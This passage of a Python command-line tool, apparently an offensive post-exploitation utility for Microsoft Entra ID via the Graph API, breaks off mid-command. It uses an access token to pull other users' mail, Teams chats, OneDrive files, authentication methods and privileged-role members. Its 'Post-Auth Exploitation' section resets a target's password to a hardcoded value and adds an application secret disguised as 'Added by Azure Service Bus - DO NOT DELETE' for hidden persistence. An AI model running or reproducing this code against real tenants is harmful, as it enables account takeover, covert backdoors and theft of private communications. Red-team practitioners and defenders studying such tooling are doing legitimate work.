- api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/templates/multiTenantOrganizationPartnerConfiguration"
- if args.id:
- api_url += f"/{args.id}"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-userchatmessages
- elif args.command and args.command.lower() == "get-userchatmessages":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-UserChatMessages command")
- return
-
- print_yellow("\n[*] Get-UserChatMessages")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-administrativeunitmember
- elif args.command and args.command.lower() == "get-administrativeunitmember":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-AdministrativeUnitMember command")
- return
-
- print_yellow("\n[*] Get-AdministrativeUnitMember")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{args.id}/members"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-onedrivefiles
- elif args.command and args.command.lower() == "get-onedrivefiles":
- print_yellow("\n[*] Get-OneDriveFiles")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/drive/root/children"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drive/root/children"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-userpermissiongrants
- elif args.command and args.command.lower() == "get-userpermissiongrants":
- print_yellow("\n[*] Get-UserPermissionGrants")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/permissionGrants"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/permissionGrants"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-oauth2permissiongrants
- elif args.command and args.command.lower() == "get-oauth2permissiongrants":
- print_yellow("\n[*] Get-oauth2PermissionGrants")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/oauth2PermissionGrants"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-messages
- elif args.command and args.command.lower() == "get-messages":
- print_yellow("\n[*] Get-Messages")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/messages"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/messages"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-temporaryaccesspassword
- elif args.command and args.command.lower() == "get-temporaryaccesspassword":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-TemporaryAccessPassword command")
- return
-
- print_yellow("\n[*] Get-TemporaryAccessPassword")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/passwordMethods"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-password
- elif args.command and args.command.lower() == "get-password":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-Password command")
- return
-
- print_yellow("\n[*] Get-Password")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/passwordCredentials"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-authmethods
- elif args.command and args.command.lower() == "list-authmethods":
- print_yellow("\n[*] List-AuthMethods")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/authentication/methods"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/methods"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-directoryroles
- elif args.command and args.command.lower() == "list-directoryroles":
- print_yellow("\n[*] List-DirectoryRoles")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/directoryRoles"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-notebooks
- elif args.command and args.command.lower() == "list-notebooks":
- print_yellow("\n[*] List-Notebooks")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/onenote/notebooks"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/onenote/notebooks"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-conditionalaccesspolicies
- elif args.command and args.command.lower() == "list-conditionalaccesspolicies":
- print_yellow("\n[*] List-ConditionalAccessPolicies")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-conditionalauthenticationcontexts
- elif args.command and args.command.lower() == "list-conditionalauthenticationcontexts":
- print_yellow("\n[*] List-ConditionalAuthenticationContexts")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/authenticationContextClassReferences"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-conditionalnamedlocations
- elif args.command and args.command.lower() == "list-conditionalnamedlocations":
- print_yellow("\n[*] List-ConditionalNamedLocations")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-sharepointroot
- elif args.command and args.command.lower() == "list-sharepointroot":
- print_yellow("\n[*] List-SharePointRoot")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/sites/root"
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
- if response.status_code == 200:
- response_json = response.json()
-
- for key, value in response_json.items():
- if key != "@odata.context":
- print(f"{key}: {value}")
-
- else:
- print_red(f"[-] Failed to retrieve current user: {response.status_code}")
- print_red(response.text)
-
- print("=" * 80)
-
- # list-sharepointsites
- elif args.command and args.command.lower() == "list-sharepointsites":
- print_yellow("\n[*] List-SharePointSites")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/sites"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-sharepointurls
- elif args.command and args.command.lower() == "list-sharepointurls":
- print_yellow("\n[*] List-SharePointURLs")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/search/query"
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
- data = {
- "requests": [
- {
- "entityTypes": ["drive"],
- "query": {
- "queryString": "*"
- },
- "from": 0,
- "size": 500,
- "fields": [
- "webUrl"
- ]
- }
- ]
- }
-
- try:
- response = requests.post(api_url, headers=headers, json=data, timeout=30)
- response.raise_for_status()
-
- response_body = response.json()
-
- if 'value' in response_body:
- for item in response_body['value']:
- for hit in item.get('hitsContainers', []):
- for result in hit.get('hits', []):
- web_url = result.get('resource', {}).get('webUrl')
- if web_url:
- print(web_url)
- else:
- print_yellow("[!] No results found in the response.")
-
- next_link = response_body.get("@odata.nextLink")
- while next_link:
- response = requests.get(next_link, headers=headers, timeout=30)
- response.raise_for_status()
- response_body = response.json()
-
- if 'value' in response_body:
- for item in response_body['value']:
- for hit in item.get('hitsContainers', []):
- for result in hit.get('hits', []):
- web_url = result.get('resource', {}).get('webUrl')
- if web_url:
- print(web_url)
-
- next_link = response_body.get("@odata.nextLink")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to search data: {str(e)}")
- if hasattr(e, 'response'):
- print_red(e.response.text)
-
- print("=" * 80)
-
- # list-externalconnections
- elif args.command and args.command.lower() == "list-externalconnections":
- print_yellow("\n[*] List-ExternalConnections")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/external/connections"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-applications
- elif args.command and args.command.lower() == "list-applications":
- print_yellow("\n[*] List-Applications")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/applications"
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': 'Bearer ' + access_token,
- 'Accept': 'application/json',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- applications = response.json()
- else:
- print_red(f"[-] Error: API request failed with status code {response.status_code}")
- applications = None
-
- if applications and 'value' in applications:
- for app in applications['value']:
- for key, value in app.items():
- if key == 'requiredResourceAccess':
- if value:
- print_green(f"{key} : {value}")
- else:
- print_red(f"{key} : No assignments")
- else:
- print(f"{key} : {value}")
- print("\n")
- print("=" * 80)
-
- # list-serviceprincipals
- elif args.command and args.command.lower() == "list-serviceprincipals":
- print_yellow("\n[*] List-ServicePrincipals")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/servicePrincipals"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-tenants
- elif args.command and args.command.lower() == "list-tenants":
- print_yellow("\n[*] List-Tenants")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/tenantRelationships/multiTenantOrganization/tenants"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-joinedteams
- elif args.command and args.command.lower() == "list-joinedteams":
- print_yellow("\n[*] List-JoinedTeams")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/joinedTeams"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/joinedTeams"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-chats
- elif args.command and args.command.lower() == "list-chats":
- print_yellow("\n[*] List-Chats")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/chats"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-chatmessages
- elif args.command and args.command.lower() == "list-chatmessages":
- if not args.id:
- print_red("[-] Error: --id argument is required for List-ChatMessages command")
- return
-
- print_yellow("\n[*] List-ChatMessages")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/chats/{args.id}/messages"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-devices
- elif args.command and args.command.lower() == "list-devices":
- print_yellow("\n[*] List-Devices")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/devices"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
-
- # list-administrativeunits
- elif args.command and args.command.lower() == "list-administrativeunits":
- print_yellow("\n[*] List-AdministrativeUnits")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-onedrives
- elif args.command and args.command.lower() == "list-onedrives":
- print_yellow("\n[*] List-OneDrives")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/drives"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drives"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-recentonedrivefiles
- elif args.command and args.command.lower() == "list-recentonedrivefiles":
- print_yellow("\n[*] List-RecentOneDriveFiles")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/drive/recent"
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- "Authorization": f"Bearer {access_token}",
- "User-Agent": user_agent
- }
-
- try:
- response = requests.get(api_url, headers=headers)
- response.raise_for_status()
- response_body = response.json()
-
- filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")}
-
- if filtered_data:
- if not filtered_data.get('value'):
- print_red("[-] No data found")
- return
-
- file_count = 1
- for d in filtered_data.get('value', []):
- print_green(f"File {file_count}")
- print_green("="*80)
- for key, value in d.items():
- print(f"{key} : {value}")
- print("\n")
- file_count += 1
-
- url = response_body.get("@odata.nextLink")
- if url:
- response = requests.get(url, headers=headers)
- response.raise_for_status()
- response_body = response.json()
-
- except requests.RequestException as e:
- print_red(f"[-] Error making request: {str(e)}")
- print("=" * 80)
-
- # list-sharedonedrivefiles
- elif args.command and args.command.lower() == "list-sharedonedrivefiles":
- print_yellow("\n[*] List-SharedOneDriveFiles")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/drive/sharedWithMe"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # list-onedriveurls
- elif args.command and args.command.lower() == "list-onedriveurls":
-
- print_yellow("\n[*] List-OneDriveURLs")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/search/query"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- data = {
- "requests": [
- {
- "entityTypes": ["driveItem"],
- "query": {
- "queryString": "*"
- },
- "from": 0,
- "size": 500,
- "fields": [
- "webUrl"
- ]
- }
- ]
- }
-
- try:
- response = requests.post(api_url, headers=headers, json=data, timeout=30)
- response.raise_for_status()
-
- response_body = response.json()
-
- if 'value' in response_body:
- for item in response_body['value']:
- for hit in item.get('hitsContainers', []):
- for result in hit.get('hits', []):
- web_url = result.get('resource', {}).get('webUrl')
- if web_url:
- print(web_url)
- else:
- print_yellow("[!] No results found in the response.")
-
- next_link = response_body.get("@odata.nextLink")
- while next_link:
- response = requests.get(next_link, headers=headers, timeout=30)
- response.raise_for_status()
- response_body = response.json()
-
- if 'value' in response_body:
- for item in response_body['value']:
- for hit in item.get('hitsContainers', []):
- for result in hit.get('hits', []):
- web_url = result.get('resource', {}).get('webUrl')
- if web_url:
- print(web_url)
-
- next_link = response_body.get("@odata.nextLink")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to search data: {str(e)}")
- if hasattr(e, 'response'):
- print_red(e.response.text)
-
- print("=" * 80)
-
-
- ##########################
- # Post-Auth Exploitation #
- ##########################
-
- # invoke-customquery
- elif args.command and args.command.lower() == "invoke-customquery":
- if not args.query:
- print_red("[-] Error: --query argument is required for Invoke-CutstomQuery command")
- return
-
- print_yellow("\n[*] Invoke-CutstomQuery")
- print("=" * 80)
- api_url = args.query
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
- if response.status_code == 200:
- response_json = response.json()
-
- if "@odata.context" in response_json:
- del response_json["@odata.context"]
-
- print(json.dumps(response_json, indent=4))
-
- else:
- print_red(f"[-] Failed to retrieve query: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-search
- elif args.command and args.command.lower() == "invoke-search":
- if not args.search or not args.entity:
- print_red("[-] Error: --search and --entity required for Invoke-Search command")
- return
-
- print_yellow("\n[*] Invoke-Search")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/search/query"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- json_body = {
- "requests": [
- {
- "entityTypes": [args.entity],
- "query": {
- "queryString": args.search
- }
- }
- ]
- }
-
- response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
- if response.ok:
- response_body = response.json()
-
- for key, value in response_body.items():
- if not key.startswith("@odata.context"):
- pretty_value = json.dumps(value, indent=4)
- print(f"{key}: {pretty_value}")
-
- url = response_body.get("@odata.nextLink")
- if url:
- response = requests.get(url, headers=headers)
- response.raise_for_status()
- response_body = response.json()
- else:
- print_red(f"[-] Failed to search data: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # find-privilegedroleusers
- elif args.command and args.command.lower() == "find-privilegedroleusers":
- print_yellow("\n[*] Find-PrivilegedRoleUsers")
- print("=" * 80)
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- for role in roles:
- api_url = f"https://graph.microsoft.com/v1.0/directoryRoles(roleTemplateId='{role['roleTemplateId']}')/members"
- response = requests.get(api_url, headers=headers)
-
- if response.ok:
- print_green(f"[+] Role: {role['displayName']}")
- print(f"Description: {role['description']}")
- response_body = response.json()
- filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")}
- format_list_style(filtered_data)
- else:
- print_red(f"[-] Role: {role['displayName']}")
- print("=" * 80)
-
- # find-updatablegroups
- elif args.command and args.command.lower() == "find-updatablegroups":
- print_yellow("\n[*] Find-UpdatableGroups")
- print("=" * 80)
- graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups"
- estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- results = []
- while graph_api_endpoint:
- try:
- response = requests.get(graph_api_endpoint, headers=headers)
- response.raise_for_status()
- response_data = response.json()
- for group in response_data['value']:
- group_id = f"/{group['id']}"
- request_body = {
- "resourceActionAuthorizationChecks": [
- {
- "directoryScopeId": group_id,
- "resourceAction": "microsoft.directory/groups/members/update"
- }
- ]
- }
- while True:
- try:
- estimate_response = requests.post(estimate_access_endpoint, headers=headers, json=request_body)
- estimate_response.raise_for_status()
- estimate_data = estimate_response.json()
- if estimate_data['value'][0]['accessDecision'] == "allowed":
- group_out = {k: group.get(k) for k in ['displayName', 'id', 'description', 'isAssignableToRole', 'onPremisesSyncEnabled', 'mail', 'createdDateTime', 'visibility']}
- results.append(group_out)
- break
- except requests.exceptions.HTTPError as e:
- if e.response.status_code == 429:
- print_yellow("[*] Requests throttled... sleeping for 5 seconds")
- time.sleep(5)
- else:
- print_red(f"[-] Error estimating access for: {group_id}: {str(e)}")
- break
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Error estimating access for: {group_id}: {str(e)}")
- break
- graph_api_endpoint = response_data.get('@odata.nextLink')
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Error fetching Group IDs: {str(e)}")
- break
- if results:
- for result in results:
- for key, value in result.items():
- print(f"{key:<25} : {value}")
- print("")
- else:
- print_red("[-] No updatable groups found")
- print("=" * 80)
-
- # find-dynamicgroups
- elif args.command and args.command.lower() == "find-dynamicgroups":
- print_yellow("\n[*] Find-DynamicGroups")
- print("=" * 80)
- graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups"
- estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
- results = []
-
- while graph_api_endpoint:
- try:
- while True:
- try:
- response = requests.get(graph_api_endpoint, headers=headers)
- response.raise_for_status()
- break
- except requests.exceptions.HTTPError as e:
- if e.response.status_code == 429:
- print_yellow("[*] Requests throttled... sleeping 5 seconds")
- time.sleep(5)
- else:
- raise
-
- response_data = response.json()
-
- for group in response_data['value']:
- group_id = f"/{group['id']}"
- request_body = {
- "resourceActionAuthorizationChecks": [
- {
- "directoryScopeId": group_id,
- "resourceAction": "microsoft.directory/groups/members/update"
- }
- ]
- }
-
- if group.get('membershipRule') is not None:
- #print_green(f"[+] Found dynamic group: {group['displayName']}")
- group_out = {
- "Group Name": group.get('displayName'),
- "Group ID": group.get('id'),
- "Description": group.get('description'),
- "Is Assignable To Role": group.get('isAssignableToRole'),
- "On-Prem Sync Enabled": group.get('onPremisesSyncEnabled'),
- "Mail": group.get('mail'),
- "Created Date": group.get('createdDateTime'),
- "Visibility": group.get('visibility'),
- "MembershipRule": group.get('membershipRule'),
- "Membership Rule Processing State": group.get('membershipRuleProcessingState')
- }
- results.append(group_out)
-
- graph_api_endpoint = response_data.get('@odata.nextLink')
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Error fetching Group IDs: {str(e)}")
- break
-
- if results:
- for result in results:
- for key, value in result.items():
- print(f"{key:<35} : {value}")
- print()
- else:
- print_red("[-] No dynamic groups found")
- print("=" * 80)
-
- # find-securitygroups
- elif args.command and args.command.lower() == "find-securitygroups":
- print_yellow("\n[*] Find-SecurityGroups")
- print("=" * 80)
- graph_api_url = "https://graph.microsoft.com/v1.0"
- groups_url = f"{graph_api_url}/groups?$filter=securityEnabled eq true"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
- groups_with_members = []
-
- while groups_url:
- try:
- response = requests.get(groups_url, headers=headers)
- response.raise_for_status()
- groups_response = response.json()
- groups = groups_response.get('value', [])
- except requests.exceptions.RequestException as e:
- print_red(f"[-] An error occurred while retrieving security groups: {str(e)}")
- return
-
- for group in groups:
- group_id = group['id']
- members_url = f"{graph_api_url}/groups/{group_id}/members"
-
- try:
- members_response = requests.get(members_url, headers=headers)
- members_response.raise_for_status()
- members = members_response.json().get('value', [])
- except requests.exceptions.HTTPError as e:
- if e.response.status_code == 429:
- print_yellow("[*] Being throttled... sleeping for 5 seconds")
- time.sleep(5)
- else:
- print_red(f"[-] An error occurred while retrieving members for group {group['displayName']}: {str(e)}")
- continue
-
- member_info = [
- member.get('userPrincipalName') or member.get('id', '')
- for member in members
- ]
- group_info = {
- "GroupName": group['displayName'],
- "GroupId": group_id,
- "Members": member_info
- }
- groups_with_members.append(group_info)
-
- groups_url = groups_response.get('@odata.nextLink')
-
- if groups_with_members:
- #print_green(f"[*] Found {len(groups_with_members)} security groups\n")
- for group in groups_with_members:
- print(f"Group Name: {group['GroupName']}")
- print(f"Group ID: {group['GroupId']}")
- print("Members:")
- for member in group['Members']:
- print(f" - {member}")
- print()
- else:
- print_red("[-] No security groups found")
- print("=" * 80)
-
- # find-object
- elif args.command and args.command.lower() == "find-object":
- if not args.id:
- print_red("[-] Error: --id required for Find-Object command")
- return
-
- print_yellow("\n[*] Find-Object")
- print("=" * 80)
- graph_api_url = "https://graph.microsoft.com/v1.0"
- object_url = f"{graph_api_url}/directoryObjects/{args.id}"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- try:
- response = requests.get(object_url, headers=headers)
- response.raise_for_status()
- object_data = response.json()
- object_type = object_data.get('@odata.type', '').split('.')[-1]
-
- print_green(f"Object Type: {object_type}")
- print(f"ID: {object_data.get('id', 'N/A')}")
- print(f"Display Name: {object_data.get('displayName', 'N/A')}")
-
- if object_type == 'user':
- print(f"User Principal Name: {object_data.get('userPrincipalName', 'N/A')}")
- print(f"Mail: {object_data.get('mail', 'N/A')}")
- print(f"Job Title: {object_data.get('jobTitle', 'N/A')}")
- print(f"Department: {object_data.get('department', 'N/A')}")
- print(f"Office Location: {object_data.get('officeLocation', 'N/A')}")
- print(f"Mobile Phone: {object_data.get('mobilePhone', 'N/A')}")
- print(f"Business Phones: {', '.join(object_data.get('businessPhones', []))}")
- print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}")
- print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}")
- print(f"Last Sign-In DateTime: {object_data.get('signInActivity', {}).get('lastSignInDateTime', 'N/A')}")
- elif object_type == 'group':
- print(f"Mail: {object_data.get('mail', 'N/A')}")
- print(f"Security Enabled: {object_data.get('securityEnabled', 'N/A')}")
- print(f"Mail Enabled: {object_data.get('mailEnabled', 'N/A')}")
- print(f"Group Types: {', '.join(object_data.get('groupTypes', []))}")
- print(f"Visibility: {object_data.get('visibility', 'N/A')}")
- print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}")
- print(f"Description: {object_data.get('description', 'N/A')}")
- print(f"Membership Rule: {object_data.get('membershipRule', 'N/A')}")
- print(f"Is Assignable To Role: {object_data.get('isAssignableToRole', 'N/A')}")
- elif object_type == 'servicePrincipal':
- print(f"App ID: {object_data.get('appId', 'N/A')}")
- print(f"Service Principal Type: {object_data.get('servicePrincipalType', 'N/A')}")
- print(f"App Display Name: {object_data.get('appDisplayName', 'N/A')}")
- print(f"Homepage: {object_data.get('homepage', 'N/A')}")
- print(f"Login URL: {object_data.get('loginUrl', 'N/A')}")
- print(f"Publisher Name: {object_data.get('publisherName', 'N/A')}")
- print(f"App Roles Count: {len(object_data.get('appRoles', []))}")
- print(f"OAuth2 Permissions Count: {len(object_data.get('oauth2Permissions', []))}")
- print(f"Tags: {', '.join(object_data.get('tags', []))}")
- print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}")
- elif object_type == 'application':
- print(f"App ID: {object_data.get('appId', 'N/A')}")
- print(f"Sign In Audience: {object_data.get('signInAudience', 'N/A')}")
- print(f"Publisher Domain: {object_data.get('publisherDomain', 'N/A')}")
- print(f"Verified Publisher: {object_data.get('verifiedPublisher', {}).get('displayName', 'N/A')}")
- print(f"App Roles Count: {len(object_data.get('appRoles', []))}")
- print(f"Required Resource Access Count: {len(object_data.get('requiredResourceAccess', []))}")
- print(f"Web Redirect URIs: {', '.join(object_data.get('web', {}).get('redirectUris', []))}")
- print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}")
- elif object_type == 'device':
- print(f"Device ID: {object_data.get('deviceId', 'N/A')}")
- print(f"Operating System: {object_data.get('operatingSystem', 'N/A')}")
- print(f"Operating System Version: {object_data.get('operatingSystemVersion', 'N/A')}")
- print(f"Trust Type: {object_data.get('trustType', 'N/A')}")
- print(f"Approximate Last Sign In DateTime: {object_data.get('approximateLastSignInDateTime', 'N/A')}")
- print(f"Compliance State: {object_data.get('complianceState', 'N/A')}")
- print(f"Is Managed: {object_data.get('isManaged', 'N/A')}")
- print(f"Is Compliant: {object_data.get('isCompliant', 'N/A')}")
- print(f"Registered Owner: {object_data.get('registeredOwners', [{}])[0].get('userPrincipalName', 'N/A')}")
-
- except requests.exceptions.HTTPError as e:
- if e.response.status_code == 404:
- print_red(f"[-] Object with ID {args.id} not found")
- else:
- print_red(f"[-] An error occurred while retrieving object details: {str(e)}")
- except requests.exceptions.RequestException as e:
- print_red(f"[-] An error occurred while making the request: {str(e)}")
-
- print("=" * 80)
-
- # update-userpassword
- elif args.command and args.command.lower() == "update-userpassword":
- if not args.id:
- print_red("[-] Error: --id required for Update-UserPassword command")
- return
-
- print_yellow("\n[*] Update-UserPassword")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- json_body = {
- "passwordProfile": {
- "forceChangePasswordNextSignIn": False,
- "password": "NewUserSecret@Pass!"
- }
- }
-
- response = requests.patch(api_url, headers=headers, data=json.dumps(json_body))
- if response.ok:
- print_green("[+] User password profile updated")
-
- else:
- print_red(f"[-] Failed to update user password: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # add-applicationpassword
- elif args.command and args.command.lower() == "add-applicationpassword":
- if not args.id:
- print_red("[-] Error: --id required for Add-ApplicationPassword command")
- return
-
- print_yellow("\n[*] Add-ApplicationPassword")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}/addPassword"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- current_time_utc = datetime.now(timezone.utc)
- six_months_later = current_time_utc + timedelta(days=6*30)
- formatted_date = six_months_later.strftime("%Y-%m-%dT%H:%M:%SZ")
- json_body = {"displayName":"Added by Azure Service Bus - DO NOT DELETE", "endDateTime": formatted_date}
-
- response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
- if response.ok:
- response_body = response.json()
-
- for key, value in response_body.items():
- if not key.startswith("@odata.context"):
- pretty_value = json.dumps(value, indent=4)
- if key == "secretText":
- print_green(f"{key}: {pretty_value}")
- else:
- print(f"{key}: {pretty_value}")
-
- else:
- print_red(f"[-] Failed to add password: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # dump-applicationpermissions
- # - dump permissions for --id app
- # - https://learn.microsoft.com/en-us/graph/permissions-reference
- # - list-applications 'requiredResourceAccess' contains all the permission ids
- # can also check: https://graph.microsoft.com/v1.0/servicePrincipals/9ee251b0-b25e-4562-b62e-611c75387f2b/appRoleAssignments
- # - for the configured permissions
-
- # add-applicationpermission
- # - create an new application (add-application) then assign this
- # - trying to assing to existing one will remove all the other perms
- # NEED todo dump-applicationpermissions
- # - then make sure you reassign the existing ones found from that in the following req
- elif args.command and args.command.lower() == "add-applicationpermission":
- if not args.id:
